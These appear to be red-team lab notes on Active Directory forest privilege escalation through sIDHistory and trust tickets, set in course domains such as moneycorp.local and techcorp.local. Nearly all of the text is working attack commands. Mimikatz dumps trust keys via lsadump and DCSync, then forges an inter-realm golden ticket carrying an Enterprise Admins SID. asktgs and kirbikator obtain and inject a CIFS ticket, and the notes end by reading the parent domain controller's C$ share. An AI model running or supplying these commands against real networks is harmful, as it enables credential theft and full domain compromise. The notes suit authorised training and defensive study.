• sIDHistory is a user attribute designed for scenarios where a user is moved from one domain to another. When a user's domain is changed, they get a new SID and the old SID is added to sIDHistory.
• sIDHistory can be abused in two ways of escalating privileges within a forest:
  • krbtgt hash of the child
  • Trust tickets

• So, what is required to forge trust tickets is, obviously, the trust key. Look for [In] trust key from child to parent.

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc
															(OR)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
															(OR)
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

• We can forge and inter-realm TGT

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1- 5-21-280534878-1496970234-700767426-519 /rc4:7ef5be456dc8d7450fb8f5f7348746c5 /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi"'

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708 /sids:S-1-5-21-2781415573-3701854478-2406986946-519 /rc4:189517f6dde94659c0aacf1674e46765 /user:Administrator /service:krbtgt /target:techcorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"

• Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket.

.\asktgs.exe C:\AD\Tools\trust_tkt.kirbi CIFS/mcorpdc.moneycorp.local

• Use the TGS to access the targeted service.

.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi

ls \\mcorp-dc.moneycorp.local\c$

• We can use Rubeus too for same results! Note that we are still using the TGT forged initially